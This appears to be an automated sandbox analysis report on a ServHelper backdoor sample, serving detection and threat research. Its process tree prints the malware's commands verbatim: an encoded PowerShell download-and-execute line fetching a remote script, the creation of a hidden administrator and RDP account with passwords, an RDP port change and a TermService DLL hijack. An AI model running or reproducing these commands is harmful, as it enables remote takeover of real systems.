servhelper | 9d1ca3a1dad26b6c0195ac41fe5fa6e5e03706496944383ca9156fa99e57dc8a

Analysis

max time kernel
130s
max time network
117s
platform
windows7_x64
resource
win7v20201028
submitted
12-04-2021 06:44

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General

Target

40367f496f45ba45b8545f90065b6940.exe
Size

6.1MB
MD5

40367f496f45ba45b8545f90065b6940
SHA1

1d7bd76d538e1c1859999b807c071d6f1b930597
SHA256

9d1ca3a1dad26b6c0195ac41fe5fa6e5e03706496944383ca9156fa99e57dc8a
SHA512

aa8a3326b497dd56f2f383bc77a7a5445260303e156632296267831e857afbb69982ed53fb756564cf2557bafb9ca34dd2e2167fdf7f28a429ff77aa2957580b

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1596	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1924	icacls.exe
240	icacls.exe
1720	icacls.exe
564	icacls.exe
1932	takeown.exe
820	icacls.exe
996	icacls.exe
1708	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130fd-171.dat	upx
behavioral1/files/0x00050000000130fe-172.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1336	Process not Found
1336	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1708	icacls.exe
1924	icacls.exe
240	icacls.exe
1720	icacls.exe
564	icacls.exe
1932	takeown.exe
820	icacls.exe
996	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d816607c-adda-4028-bad0-d871a164348a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1f60c4b7-db45-4b28-bd49-0dff52576872	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_25733530-662e-4fa1-bd7d-7571e9581bf7	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3dbec2bf-d0e9-436d-ba89-3800b91cfb0e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_232313ad-a35b-4252-9c04-c693e0204be2	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60caf420-6fab-4e25-982f-4bf390f8a5e0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8dbe1d6c-de8d-46ec-8d07-fc1601d5ebe1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9860e9c1-814a-4f98-a82c-9e6358429ae3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c65becb7-f116-4732-9c00-107077ca4461	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_119bd41e-cff0-4455-af6b-02082b66dc29	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R4RUMOAFXRCZC83WPB1Y.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ac06be0-87e9-493b-9905-99eecb4d4ee0	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0736cd5672fd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1860	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1396	powershell.exe
1396	powershell.exe
1028	powershell.exe
1028	powershell.exe
284	powershell.exe
284	powershell.exe
1832	powershell.exe
1832	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
1596	powershell.exe
1596	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1336	Process not Found
1336	Process not Found
1336	Process not Found
1336	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	284	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeRestorePrivilege	996	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1344	WMIC.exe
Token: SeAuditPrivilege	1344	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1344	WMIC.exe
Token: SeAuditPrivilege	1344	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	976	WMIC.exe
Token: SeIncreaseQuotaPrivilege	976	WMIC.exe
Token: SeAuditPrivilege	976	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	976	WMIC.exe
Token: SeIncreaseQuotaPrivilege	976	WMIC.exe
Token: SeAuditPrivilege	976	WMIC.exe
Token: SeDebugPrivilege	1596	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 804 wrote to memory of 1396	804	40367f496f45ba45b8545f90065b6940.exe	29
PID 804 wrote to memory of 1396	804	40367f496f45ba45b8545f90065b6940.exe	29
PID 804 wrote to memory of 1396	804	40367f496f45ba45b8545f90065b6940.exe	29
PID 1396 wrote to memory of 1028	1396	powershell.exe	31
PID 1396 wrote to memory of 1028	1396	powershell.exe	31
PID 1396 wrote to memory of 1028	1396	powershell.exe	31
PID 1396 wrote to memory of 284	1396	powershell.exe	33
PID 1396 wrote to memory of 284	1396	powershell.exe	33
PID 1396 wrote to memory of 284	1396	powershell.exe	33
PID 1396 wrote to memory of 1832	1396	powershell.exe	35
PID 1396 wrote to memory of 1832	1396	powershell.exe	35
PID 1396 wrote to memory of 1832	1396	powershell.exe	35
PID 1396 wrote to memory of 1932	1396	powershell.exe	38
PID 1396 wrote to memory of 1932	1396	powershell.exe	38
PID 1396 wrote to memory of 1932	1396	powershell.exe	38
PID 1396 wrote to memory of 820	1396	powershell.exe	39
PID 1396 wrote to memory of 820	1396	powershell.exe	39
PID 1396 wrote to memory of 820	1396	powershell.exe	39
PID 1396 wrote to memory of 996	1396	powershell.exe	40
PID 1396 wrote to memory of 996	1396	powershell.exe	40
PID 1396 wrote to memory of 996	1396	powershell.exe	40
PID 1396 wrote to memory of 1708	1396	powershell.exe	41
PID 1396 wrote to memory of 1708	1396	powershell.exe	41
PID 1396 wrote to memory of 1708	1396	powershell.exe	41
PID 1396 wrote to memory of 1924	1396	powershell.exe	42
PID 1396 wrote to memory of 1924	1396	powershell.exe	42
PID 1396 wrote to memory of 1924	1396	powershell.exe	42
PID 1396 wrote to memory of 240	1396	powershell.exe	43
PID 1396 wrote to memory of 240	1396	powershell.exe	43
PID 1396 wrote to memory of 240	1396	powershell.exe	43
PID 1396 wrote to memory of 1720	1396	powershell.exe	44
PID 1396 wrote to memory of 1720	1396	powershell.exe	44
PID 1396 wrote to memory of 1720	1396	powershell.exe	44
PID 1396 wrote to memory of 564	1396	powershell.exe	45
PID 1396 wrote to memory of 564	1396	powershell.exe	45
PID 1396 wrote to memory of 564	1396	powershell.exe	45
PID 1396 wrote to memory of 1136	1396	powershell.exe	46
PID 1396 wrote to memory of 1136	1396	powershell.exe	46
PID 1396 wrote to memory of 1136	1396	powershell.exe	46
PID 1396 wrote to memory of 1860	1396	powershell.exe	47
PID 1396 wrote to memory of 1860	1396	powershell.exe	47
PID 1396 wrote to memory of 1860	1396	powershell.exe	47
PID 1396 wrote to memory of 1620	1396	powershell.exe	48
PID 1396 wrote to memory of 1620	1396	powershell.exe	48
PID 1396 wrote to memory of 1620	1396	powershell.exe	48
PID 1396 wrote to memory of 964	1396	powershell.exe	49
PID 1396 wrote to memory of 964	1396	powershell.exe	49
PID 1396 wrote to memory of 964	1396	powershell.exe	49
PID 964 wrote to memory of 952	964	net.exe	50
PID 964 wrote to memory of 952	964	net.exe	50
PID 964 wrote to memory of 952	964	net.exe	50
PID 1396 wrote to memory of 1504	1396	powershell.exe	51
PID 1396 wrote to memory of 1504	1396	powershell.exe	51
PID 1396 wrote to memory of 1504	1396	powershell.exe	51
PID 1504 wrote to memory of 1568	1504	cmd.exe	52
PID 1504 wrote to memory of 1568	1504	cmd.exe	52
PID 1504 wrote to memory of 1568	1504	cmd.exe	52
PID 1568 wrote to memory of 1580	1568	cmd.exe	53
PID 1568 wrote to memory of 1580	1568	cmd.exe	53
PID 1568 wrote to memory of 1580	1568	cmd.exe	53
PID 1580 wrote to memory of 1316	1580	net.exe	54
PID 1580 wrote to memory of 1316	1580	net.exe	54
PID 1580 wrote to memory of 1316	1580	net.exe	54
PID 1396 wrote to memory of 1960	1396	powershell.exe	55

C:\Users\Admin\AppData\Local\Temp\40367f496f45ba45b8545f90065b6940.exe
"C:\Users\Admin\AppData\Local\Temp\40367f496f45ba45b8545f90065b6940.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:284
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1932
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:820
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:996
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1708
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1924
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:240
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1720
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:564
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1136
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1860
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1620
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:964
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:952
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1568
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1580
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1316
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1960
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1644
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1832
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1464
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1352
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:896

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1708
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1648

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 59uUi1B5 /add
1⤵
PID:1720
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 59uUi1B5 /add
  2⤵
  PID:1136
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 59uUi1B5 /add
    3⤵
    PID:1860

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:896
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1604
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1600

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
1⤵
PID:776
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
  2⤵
  PID:1060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EIDQHRRL$ /ADD
    3⤵
    PID:240

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1632
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1352

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 59uUi1B5
1⤵
PID:1860
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 59uUi1B5
  2⤵
  PID:1484
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 59uUi1B5
    3⤵
    PID:1596

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:876
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1344

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:928
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:976

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1568
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1596

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1148
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1604
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1720

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/284-123-0x000000001B8B0000-0x000000001B8B1000-memory.dmp

Filesize
4KB

Download
memory/284-126-0x0000000001E40000-0x0000000001E41000-memory.dmp

Filesize
4KB

Download
memory/284-121-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/284-119-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download
memory/284-125-0x000000001AC10000-0x000000001AC11000-memory.dmp

Filesize
4KB

Download
memory/284-120-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/804-63-0x0000000043646000-0x0000000043647000-memory.dmp

Filesize
4KB

Download
memory/804-61-0x0000000043642000-0x0000000043644000-memory.dmp

Filesize
8KB

Download
memory/804-64-0x0000000043647000-0x0000000043648000-memory.dmp

Filesize
4KB

Download
memory/804-62-0x0000000043644000-0x0000000043646000-memory.dmp

Filesize
8KB

Download
memory/804-59-0x0000000043AF0000-0x0000000043F11000-memory.dmp

Filesize
4.1MB

Download
memory/1028-90-0x000000001B500000-0x000000001B501000-memory.dmp

Filesize
4KB

Download
memory/1028-86-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

Filesize
8KB

Download
memory/1028-111-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/1028-98-0x000000001B910000-0x000000001B911000-memory.dmp

Filesize
4KB

Download
memory/1028-93-0x00000000023E0000-0x00000000023E1000-memory.dmp

Filesize
4KB

Download
memory/1028-92-0x00000000026B0000-0x00000000026B1000-memory.dmp

Filesize
4KB

Download
memory/1028-88-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/1028-112-0x000000001B700000-0x000000001B701000-memory.dmp

Filesize
4KB

Download
memory/1028-87-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

Filesize
8KB

Download
memory/1396-79-0x000000001B4A0000-0x000000001B4A1000-memory.dmp

Filesize
4KB

Download
memory/1396-75-0x000000001C4A0000-0x000000001C4A1000-memory.dmp

Filesize
4KB

Download
memory/1396-69-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/1396-77-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

Filesize
4KB

Download
memory/1396-68-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

Filesize
4KB

Download
memory/1396-66-0x000007FEFBD61000-0x000007FEFBD63000-memory.dmp

Filesize
8KB

Download
memory/1396-78-0x000000001C360000-0x000000001C361000-memory.dmp

Filesize
4KB

Download
memory/1396-74-0x000000001AB7A000-0x000000001AB99000-memory.dmp

Filesize
124KB

Download
memory/1396-67-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/1396-71-0x0000000002320000-0x0000000002321000-memory.dmp

Filesize
4KB

Download
memory/1396-72-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/1396-148-0x000000001C610000-0x000000001C611000-memory.dmp

Filesize
4KB

Download
memory/1396-70-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/1596-198-0x000000001956A000-0x0000000019589000-memory.dmp

Filesize
124KB

Download
memory/1596-194-0x0000000019560000-0x0000000019562000-memory.dmp

Filesize
8KB

Download
memory/1596-195-0x0000000019564000-0x0000000019566000-memory.dmp

Filesize
8KB

Download
memory/1832-147-0x000000001AAA4000-0x000000001AAA6000-memory.dmp

Filesize
8KB

Download
memory/1832-146-0x000000001AAA0000-0x000000001AAA2000-memory.dmp

Filesize
8KB

Download